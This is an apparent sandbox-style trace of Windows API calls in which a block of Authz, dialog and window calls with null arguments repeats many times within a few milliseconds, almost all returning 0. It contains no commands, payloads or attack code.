[0025.574] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.574] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.575] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.575] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.575] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.575] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.575] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.575] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.575] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.575] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.575] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.575] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.575] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.575] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.575] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.575] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.575] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.575] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.575] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.575] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.575] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.575] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.575] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.575] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.575] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.575] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.575] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.575] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.575] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.575] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.575] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.575] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.575] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.575] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.575] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.575] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.575] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.575] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.575] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.575] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.575] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.575] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.575] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.576] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.576] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.576] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.576] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.576] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.576] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.576] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.576] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.576] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.576] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.576] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.576] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.576] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.576] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.576] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.576] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.576] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.576] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.576] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.576] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.576] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.576] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.576] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.576] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.576] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.576] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.576] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.576] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.576] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.576] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.576] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.576] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.576] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.576] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.576] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.576] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.576] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.576] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.576] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.576] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.576] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.576] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.577] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.577] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.577] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.577] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.577] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.577] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.577] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.577] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.577] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.577] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.577] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.577] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.577] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.577] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.577] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.577] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.577] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.577] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.577] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.577] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.577] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.577] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.577] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.577] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.577] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.577] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.577] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.577] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.577] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.577] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.577] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.577] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.577] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.577] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.577] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.577] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.577] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.577] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.577] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.577] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.578] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.578] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.578] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.578] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.578] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.578] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.578] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.578] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.578] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.578] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.578] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.578] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.578] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.578] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.578] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.578] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.578] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.578] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.578] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.578] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.578] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.578] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.578] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.578] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.578] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.578] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.578] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.579] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.579] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.579] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.579] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.579] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.579] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.579] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.579] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.579] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.579] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.579] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.579] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.579] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.579] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.579] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.579] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.579] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.579] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.579] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.579] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.579] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.579] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.579] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.579] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.580] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.580] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.580] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.580] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.580] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.580] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.580] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.580] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.580] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.580] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.580] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.580] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.580] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.580] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.580] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.580] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.580] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.580] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.580] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.580] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.580] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.580] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.580] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.580] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.580] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.580] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.580] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.580] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.580] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.580] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.580] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.580] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.580] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.580] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.580] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.580] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.580] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.580] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.580] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.580] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.580] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.580] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.581] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.581] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.581] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.581] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.581] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.581] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.581] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.581] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.581] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.581] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.581] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.581] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.581] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.581] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.581] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.581] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.581] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.581] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.581] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.581] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.581] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.581] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.581] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.581] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.581] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.581] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.581] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.581] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.581] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.581] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.581] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.581] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.581] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.581] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.581] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.581] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.581] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.581] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.581] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.581] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.581] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.582] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.582] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.582] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.582] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.582] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.582] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.582] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.582] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.582] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.582] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.582] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.582] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.582] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.582] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.582] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.582] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.582] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.582] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.582] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.582] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.582] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.582] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) 